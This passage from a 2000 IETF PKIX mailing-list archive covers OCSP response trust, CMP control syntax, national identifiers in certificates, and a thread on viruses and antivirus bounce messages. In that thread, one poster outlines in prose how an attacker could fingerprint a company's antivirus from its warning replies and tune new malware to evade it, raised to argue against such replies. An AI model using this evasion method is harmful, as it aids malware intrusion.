> transform into a mailbox-choking spam attack as every subscribing 
> organization's virus scanners echo their warnings back to the list.
> 
> :(
> 
> ___tony___
> 
> 
> Tony Bartoletti 925-422-3881 <azb@llnl.gov>
> Information Operations, Warfare and Assurance Center
> Lawrence Livermore National Laboratory
> Livermore, CA 94551-9900

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-pkix@imc.org  Tue Dec 19 10:56:01 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16691
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 10:56:01 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA12534;
	Tue, 19 Dec 2000 07:51:30 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 07:51:21 -0800
Received: from localhost.localdomain ([206.48.156.90])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA12493
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 07:51:16 -0800 (PST)
Received: from jperez ([192.168.4.178])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id MAA08472
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 12:52:08 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: How  I can obtain information on the discussions carried out in the 49th IETF-PKIX WG  meeting? 
Date: Tue, 19 Dec 2000 12:53:10 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKICEEGCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id HAA12534
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA16691

I am interested on several PKIX internet drafts (Permanent Identifier,
Qualified Certificates Profile and Attribute Certificates Profile) and I
need to know which are the main conclusions of the PKIX WG meeting.


Thanks in advance

-----------------------------
Juan Carlos Pérez A.
CTO
Acepta.com
juancarlos.perez@acepta.com
Tel.: +56 (2) 688 6499
Postal Code: 6520420




From owner-ietf-pkix@imc.org  Tue Dec 19 11:40:00 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA17773
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 11:39:58 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA17015;
	Tue, 19 Dec 2000 08:35:42 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 08:35:38 -0800
Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA16975
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 08:35:37 -0800 (PST)
Received: by exchange.cylink.com with Internet Mail Service (5.5.2650.21)
	id <YNA03BM9>; Tue, 19 Dec 2000 08:32:02 -0800
Message-ID: <1BE57AA01A5ED411866500B0D049657B42A593@exchange.cylink.com>
From: "Covey, Carlin" <ccovey@cylink.com>
To: "'Ambarish Malpani'" <ambarish@valicert.com>,
        "'Jonathan.Tuliani@symbian.com'" <Jonathan.Tuliani@symbian.com>,
        ietf-pkix@imc.org
Subject: RE: OCSP response authentication question
Date: Tue, 19 Dec 2000 08:32:02 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Ambarish and Jonathan,

Jonathan asked how to determine the authoritativeness of a 
signature over an OCSP response if that response provides status 
information for a chain of certificates.  I agree with your reply 
to Jonathan, but I'd like to add just one thought.

You indicated that the OCSP responder could
"...provide you with a consolidated response signed with a 
key that you trust (using direct trust)."

This direct trust could be based on the following interpretation of
Rule 1 ("Matches a local configuration of OCSP signing authority 
for the certificate in question; "):

The OCSP client could be locally configured to accept that an OCSP
responder that is designated as authoritative for the status
of a CA certificate is also authoritative for the status of
all certificates subordinate to that CA certificate.  This 
would handle the common usage case of a chain of certificates.

- Regards,

  Carlin Covey
  Cylink Corp.

-----Original Message-----
From: Ambarish Malpani [mailto:ambarish@valicert.com]
Sent: Monday, December 11, 2000 9:30 AM
To: 'Jonathan.Tuliani@symbian.com'; ietf-pkix@imc.org
Subject: RE: OCSP response authentication question



Hi Jonathan,
    The usage that you desire is quite correct and being used by
others.

It is perfectly reasonable to trust a single server and to send it
queries for the status of multiple certificates. If the server is
appropriately configured, it can go out to find the statuses of all
the certificates you are interested in and provide you with a
consolidated response signed with a key that you trust (using direct
trust).

If multiple CAs are willing to trust a single responder to provide
responses on their behalf, it is also possible for a single
responder to have multiple OCSP signing certificates issued by
multiple CAs. In this case, it is possible for you to get a single
response, signed by a single responder, but with multiple
certificates, indicating that the responder is authorized by
multiple CAs.

There is also a third possibility, where the client just queries all
the OCSP responders directly.

Hope this helps,
Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Jonathan.Tuliani@symbian.com 
> [mailto:Jonathan.Tuliani@symbian.com]
> Sent: Monday, December 11, 2000 8:14 AM
> To: ietf-pkix@imc.org
> Subject: OCSP response authentication question
> 
> 
> Deal all,
> 
> We've been having a little trouble understanding how we 
> should be planning
> to authenticate our OCSP responses in the case where there is 
> more than one
> certificate from more than one issuer.  If anyone can help to 
> shed some
> light on this issue, we should be most grateful.  Details follow.
> 
> We're using the June 1999 edition of the OCSP spec, btw.
> 
> Suppose that a client wished to authenticate more than one 
> certificate.
> For example, suppose the client has a chain of certificates: 
> to validate
> the chain requires each certificate to be revocation checked.  It is
> possible to bundle all of these certificates into a single 
> OCSP request.
> Similarly, the OCSP response should be able to give us the 
> status for each
> certificate.
> 
> Our problem arises when trying to authenticate this response.  It is
> reasonable to suppose that the certificates in the request 
> could have been
> issued by a variety of different bodies.  Indeed, this is 
> likely to be so
> in the common usage scenario of validating a certificate 
> chain.  However,
> notice that the OCSP response has only a single signature.  
> This being the
> case, there is no way we can employ rules 2 or 3 under 
> section 4.2.2.2 of
> the OCSP spec - these specify that the response be signed 
> either directly
> by the certificate issuing CA, or contain an extendedKeyUsage 
> extension
> issued directly by the issuing CA.  This leaves rule 1, that 
> is that the
> response match a locally configured trusted responder.
> 
> Now suppose additionally that the OCSP server in question is 
> operating in
> the mode described in section 4.4.6 of the spec.  That is, 
> information is
> taken from AuthorityInfoAccess extensions in the certificates to form
> serviceLocator extensions, which are placed into the request as
> singleRequestExtensions.  The OCSP server uses these 
> extensions to direct
> the request to other servers known to be authoritative for 
> the certificate
> in question.  In our scenario, these serviceLocator extensions will be
> specifying several different authoritative servers.  We 
> suppose then that
> the original OCSP server must collate and authenticate these 
> responses,
> before compiling a single response valid for all 
> certificates, which it
> then signs and sends to the client.
> 
> We would be grateful if someone more familiar with the OCSP spec could
> confirm that what I have described is indeed a valid intended usage
> scenario.  In particular, we are concerned about the 
> authentication of the
> multiple responses that the OCSP server must perform before 
> producing the
> collated response.  Is it correct for the client to trust the 
> server with
> this task?
> 
> Best regards, and thanks in advance,
> 
> Jonathan
> -----------------------------
> Jonathan.Tuliani@Symbian.com
> www.symbian.com
> 


From owner-ietf-pkix@imc.org  Tue Dec 19 13:21:59 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20611
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 13:21:58 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA22988;
	Tue, 19 Dec 2000 10:17:41 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 10:17:30 -0800
Received: from mail.phaos.com ([206.30.74.234])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA22954
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:17:29 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135])
	by mail.phaos.com (8.9.2/8.9.2) with ESMTP id RAA95750
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 17:17:34 -0500 (EST)
	(envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001219130653.00c0c660@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 19 Dec 2000 13:29:42 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: CMP AltCertTemplate control questions
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

CMP (draft-ietf-pkix-rfc2510bis-02) Appendix D defines the following new 
control:

	id-regCtrl-altCertTemplate OBJECT IDENTIFIER ::= {id-regCtrl 7}
	AltCertTemplate ::= AttributeTypeAndValue

1) Is the complete (expanded) syntax of the control supposed to be

     SEQUENCE {id-regCtrl-altCertTemplate OBJECT IDENTIFIER,
         SEQUENCE {type OBJECT IDENTIFIER,
                 value ANY DEFINED BY type} }

and, if so, what OIDs are expected to be used here?

2) If this control is present and contains both the subject and public key, 
is a POPOSigningKey signature supposed to be calculated on the DER encoding 
of the entire control, or just the AttributeTypeAndValue payload of the 
control?

Ari



From owner-ietf-pkix@imc.org  Tue Dec 19 13:38:43 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21058
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 13:38:42 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA24083;
	Tue, 19 Dec 2000 10:34:48 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 10:34:44 -0800
Received: from mail.phaos.com ([206.30.74.234])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA24044
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:34:43 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135])
	by mail.phaos.com (8.9.2/8.9.2) with ESMTP id RAA95826
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 17:34:48 -0500 (EST)
	(envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001219134112.00c0a8b0@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 19 Dec 2000 13:46:58 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: another CMP AltCertTemplate control question
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

The first paragraph of draft-ietf-pkix-rfc2510bis-02 Appendix D, where the 
AltCertTemplate control is defined, states:

	The following definitions are from rfc2511bis.  They are included here
	in order to codify behavioral clarifications to that request
	message; otherwise, all syntax and semantics are identical to rfc2511bis.

As far as I can see, the AltCertTemplate control is not mentioned anywhere 
in rfc2511bis, nor is it included in the ASN.1 module for rfc2510bis. Is 
this a sin of omission (missing from 2510bis) or of comission (maybe it 
shouldn't be in 2511bis either)?

Ari



From owner-ietf-pkix@imc.org  Tue Dec 19 14:29:05 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22496
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 14:29:04 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA27274;
	Tue, 19 Dec 2000 11:23:47 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 11:23:35 -0800
Received: from localhost.localdomain ([206.48.156.90])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA27225
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 11:23:30 -0800 (PST)
Received: from jperez ([192.168.4.178])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id QAA11179
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 16:24:26 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: Why don't using Permanent Identifier on QC certificates?
Date: Tue, 19 Dec 2000 16:25:30 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id LAA27274
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA22496

In the QC draft is stated:

"...The serialNumber attribute type SHALL, when present, be used to
   differentiate between names where the subject field would otherwise
   be identical.  This attribute has no defined semantics beyond
   ensuring uniqueness of subject names.  It MAY contain a number or
   code assigned by the CA or an identifier assigned by a government or
   civil authority.  It is the CA's responsibility to ensure that the
   serialNumber is sufficient to resolve any subject name collisions..."

and on the Permanet Identifier drfat;
Sorry if this discussion has happened before, but I don't know if there are
some final statement:

"... A serialNumber attribute may be used for two
   different purposes in the DN of a person:

   1) In a DN or a SubjectAltName to differentiate between
      two names (for two different individuals) that otherwise
      would not be different.

   2) In the identifier field from a permanent identifier.
      This is the recommended use for national ID's and
      employee ID's, for example. ..."

Now, consider this:

a person has a unique identifier, assigned by a goverment authority, wich is
guaranteed to be unique on a national scope (country domain)

How to incorporate this identifier into a certificate?.

SerialNumber or SubjevctAltname field? When I read the QC profile
"..identifier assigned by a goverment o civil authority...", and then the PI
draft say "... This is recommended use for national ID's...", I am confused.

Why the QC does not use Permanent Identifier?

Thera are some application wich need incorporate this class of personal
identifier. By example, in my country (CHILE) each people ha an unique ID
stamped in a card (this card has the photography and handwritting too), and
this is broadly recognized for identification. One can to do many
transactions wich need this ID for proceed.

Thanks in advance

Juan Carlos Pérez A.
Acepta.com








From owner-ietf-pkix@imc.org  Wed Dec 20 03:42:56 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA18899
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 03:42:55 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA03331;
	Wed, 20 Dec 2000 00:38:04 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 00:37:35 -0800
Received: from ar_exchange.arx.com (eliz.arx.com [212.25.66.95])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA03191
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 00:37:16 -0800 (PST)
Received: by eliz.arx.com with Internet Mail Service (5.5.2650.21)
	id <ZHQAA7ZR>; Wed, 20 Dec 2000 10:41:14 +0200
Message-ID: <D51E45F5A88FD411B39700508BEEFF7607076C@eliz.arx.com>
From: Ilan Shacham <ilans@arx.com>
To: "'Michael H. Warfield'" <mhw@wittsend.com>
Cc: "'Tony Bartoletti'" <azb@llnl.gov>, ietf-pkix@imc.org
Subject: RE: Our Own Worst Enemy?
Date: Wed, 20 Dec 2000 10:41:12 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA03227
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id AAA03331
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id DAA18899

Wow, ok, Mike, I'm glad I gave you a chance to let off some
steam... :-)

Perhaps my wording wasn't very good - what I meant was that if we
assume the list virus scanner is updated, most likely any virus
that passes it will also pass those on subscriber's organizations
virus scanners, and will therefore not fill up the list with 
warnings from each of them, which is what Tony was pondering about.

I agree with you that limiting messages to plain text would do the
trick (well, maybe not, who knows what else is coming up...),
and on a list of this kind I see no problem with that, but I'm not 
sure this is the correct forum to discuss it.

Ilan

-----Original Message-----
From: Michael H. Warfield [mailto:mhw@wittsend.com]
Sent: éåí ùìéùé 19 ãöîáø 2000 17:24
To: Ilan Shacham
Cc: 'Tony Bartoletti'; ietf-pkix@imc.org
Subject: Re: Our Own Worst Enemy?


On Tue, Dec 19, 2000 at 11:19:06AM +0200, Ilan Shacham wrote:
> True, But if the list engine included virus checking BEFORE sending
> the message to everyone in the list, we could solve this whole
> problem.

	No...

	<Minor Rant>

	No offense but what level of reality did you just come down off of?

	Virus checking HELPS (maybe) but it CAN'T "solve this whole
problem".  It can not, and will not, even in principle.  At worse, the
next time a virus slips through that it doesn't recognized or using
an encoding it doesn't recognize people will naturally assume that it
must be OK since it passed the virus filters.  (Been there, done that,
heard the sob stories.)

	Repeat after me...  Virus checking can NEVER prove something is
safe, it can GENERALLY indicate that something is PROBABLY dangerous
if not handled properly.  The virus scanner at my office keeps pissing
me off because I have to routinely handle cybertoxins like this and it
keeps filtering them out.  So they get zipped and encoded and encrypted
with all sorts of tricks to bypass the virus checker (HINT! HINT!).  Since
I run Linux and never use a mail program that allows active contect,
these things are pretty much safe for me to handle (And I want to thank
this list, I hadn't captured a sample of that macro worm yet.  :-) )

	On the mailing lists I run, we ban all HTML and most attachments,
PERIOD.  Even with the virus scanner front end, it is impossible to
keep up with the thousands of new viruses that are coming out, even if
we updated our signature files daily (assuming the anti-virus vendors
were updating daily).  The mailing lists get the double shield of blocking
any vehicle which can carry cybertoxins.  Ok...  Well...  Maybe not any.
We don't shield you if you are still vulnerable to the old ANSI bomb,
but there are things that are just TOO old to worry about.  :-)

	Over the last year, we have had a half a dozen virus incidents,
in spite of having ingress filtering on Unix, egress filtering on Unix,
and mailbox scanning on Exchange with multiple different virus scanners
and virus scanners on the individual NT workstations with centrally
managed signature files.

	The scanners are guarenteed to be always at least a little bit
out of date (look at how fast the "I love you" worm or explore.zip spred)
and the technology is not always well integrated (The virus scanner on
Exchange consistantly falls behind the spred of the toxin when one gets
that far).  When one of these incidents does occur, easily 2/3 of all
the victims fall back on the argument "well, I thought it was safe
because we have virus scanners, why did I get hit".  "Well, $#@$#@#@ DUH!
Why did you open the $#@$# thing?"

	It still remains a social problem and technology is not going
to protect fools who don't use common sense and run stupid shit.  In
this case, stupid shit consists of the entire domain of active content
in E-Mail and their potential carrier vehicles.

	Think about this now...  The latest spammer trick is to send
out HTML E-Mail with a "web bug".  That's a single pixel image that
points back to their web site.  Drop one of those on a mailing list
and you find out where people are reading the mailing list on.  You
also generally find out what their system type and browser type
is.  Get them to retrieve it by anonymous ftp, and you can also
reap a lot of E-Mail addresses.  Anyone who is reading E-Mail from a
mailing list with an HTML enabled reader or with active content enabled
or decided to just peek at that "greeting card" just out of curiosity,
is a DAMN FOOL.

	No...  Virus scanning is not the solution.  At best it's a leaky
bandaid that will cover some fools and trick other fools into thinking
they are safe.  Are the list managers then liable if their bandaid
doesn't cover what you think is enough and your system is corrupted by
something their filters let through?

	Application Programmer's Saying:  "Programming is a race between
Software Engineers who try to develop idiot proof programs and the
Universe which is trying to develop bigger and better idiots".

	Software Engineer's Saying:  "So far, the Universe is winning".

	</Minor Rant>

	If you want to do something effect then ban all mail on this list
containing HTML or HTML attachments, any Microsoft extensions (.doc, .exe,
.shs, .bat, .com, .xls...) or just plain block anything that is not
Mime type "plain/text" or simple text.  Then you might have a start at
covering the majority of possibilities.  It might even raise the quality
of the list.  :-)

> Ilan

> -----Original Message-----
> From: Tony Bartoletti [mailto:azb@llnl.gov]
> Sent: éåí ùðé 18 ãöîáø 2000 21:41
> To: ietf-pkix@imc.org
> Subject: Our Own Worst Enemy?
> 
> 
> This is fascinating, and just a bit depressing.
> 
> Simply email a virus to a public email discussion list, and watch it 
> transform into a mailbox-choking spam attack as every subscribing 
> organization's virus scanners echo their warnings back to the list.
> 
> :(
> 
> ___tony___
> 
> 
> Tony Bartoletti 925-422-3881 <azb@llnl.gov>
> Information Operations, Warfare and Assurance Center
> Lawrence Livermore National Laboratory
> Livermore, CA 94551-9900

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From owner-ietf-pkix@imc.org  Wed Dec 20 04:57:36 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA19551
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 04:57:35 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA12141;
	Wed, 20 Dec 2000 01:53:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 01:53:03 -0800
Received: from certplus.com ([195.101.88.81])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA12110
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 01:53:02 -0800 (PST)
Received: from certplus.com ([192.168.212.178])
	by certplus.com (8.8.7/8.8.7) with ESMTP id KAA01413
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 10:59:20 +0100
Message-ID: <3A408231.B7F70B0A@certplus.com>
Date: Wed, 20 Dec 2000 10:56:01 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
Subject: Re: Our Own Worst Enemy?
References: <D51E45F5A88FD411B39700508BEEFF7607076C@eliz.arx.com>
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Ilan Shacham wrote:

> Perhaps my wording wasn't very good - what I meant was that if we
> assume the list virus scanner is updated, most likely any virus
> that passes it will also pass those on subscriber's organizations
> virus scanners, and will therefore not fill up the list with
> warnings from each of them, which is what Tony was pondering about.

That makes me think about something.

Imagine I'm an evil hacker and want to introduce a new virus into a company
that uses one of this anti-virus.

I just begin by sending some old virus that I know will be recognised and
supressed.

This enables me to get the response email from the anti-virus that tells me
which anti-virus the company uses and what version.

I just have to design a new virus that I test beforehand to be sure that
version of this anti-virus will not be able to detect it and  this is it !

This robots should just stop sending this emails.



From owner-ietf-pkix@imc.org  Wed Dec 20 08:52:27 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA24344
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 08:52:27 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA28757;
	Wed, 20 Dec 2000 05:48:04 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 05:47:50 -0800
Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA28708
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 05:47:49 -0800 (PST)
Received: from software-munitions.com (fwiw.plaintalk.bellevue.wa.us [206.129.5.157])
	by btw.plaintalk.bellevue.wa.us (8.11.1/8.11.1) with ESMTP id eBKDnRj46903;
	Wed, 20 Dec 2000 05:49:27 -0800 (PST)
Message-ID: <3A40B8E7.6C4104AB@software-munitions.com>
Date: Wed, 20 Dec 2000 05:49:27 -0800
From: Dennis Glatting <dennis.glatting@software-munitions.com>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: juancarlos.perez@acepta.com
CC: Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: Why don't using Permanent Identifier on QC certificates?
References: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id FAA28710
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id FAA28757
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA24344

Juan Carlos Pérez Aguayo wrote:
> 
	[snip] 
> Now, consider this:
> 
> a person has a unique identifier, assigned by a goverment authority, wich is
> guaranteed to be unique on a national scope (country domain)
> 

Not in the United States, at least not yet. 

In the US each person is suppose to have a Social Security Number
(SSN) however this number may not be unique as there have been cases
when the USG has handed out duplicates. It is integrated into our
birthing system that a person is assigned an SSN at birth however
births outside the system (e.g., home births) this isn't the case and
a SSN may not be obtained for years. I believe in the Federal Witness
Protection Program one can get a new SSN. Finally, I don't know if it
is true, I am told one does not have to have a SSN however the US
system is structured that you do (read: life is a hassle).


From owner-ietf-pkix@imc.org  Wed Dec 20 09:38:13 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA26081
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 09:38:12 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA00228;
	Wed, 20 Dec 2000 06:34:04 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 06:33:59 -0800
Received: from htt-consult.com ([63.82.18.210])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA00198
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 06:33:58 -0800 (PST)
Received: from rgm.htt-consult.com ([63.82.18.214]) by htt-consult.com ; Wed, 20 Dec 2000 09:37:16 -0500
Message-Id: <5.0.0.25.2.20001220091716.02ee3b50@localhost>
X-Sender: rgm-sec@homebase.htt-consult.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Wed, 20 Dec 2000 09:32:42 -0500
To: Dennis Glatting <dennis.glatting@software-munitions.com>,
        juancarlos.perez@acepta.com
From: Robert Moskowitz <rgm-sec@htt-consult.com>
Subject: Re: Why don't using Permanent Identifier on QC certificates?
Cc: Ietf-Pkix <ietf-pkix@imc.org>
In-Reply-To: <3A40B8E7.6C4104AB@software-munitions.com>
References: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

At 05:49 AM 12/20/2000 -0800, Dennis Glatting wrote:

SSNs are a poor identity in the US.  Agreed.  The whole QC profile would 
have to be modified for use here.  The basic idea is sound but does not fit 
into our structure.  Other countries will probably now submit THEIR 
profiles to the IETF for inclusion as a standard.

For my part, I MUCH prefer the PI method to QC method (a separate attribute 
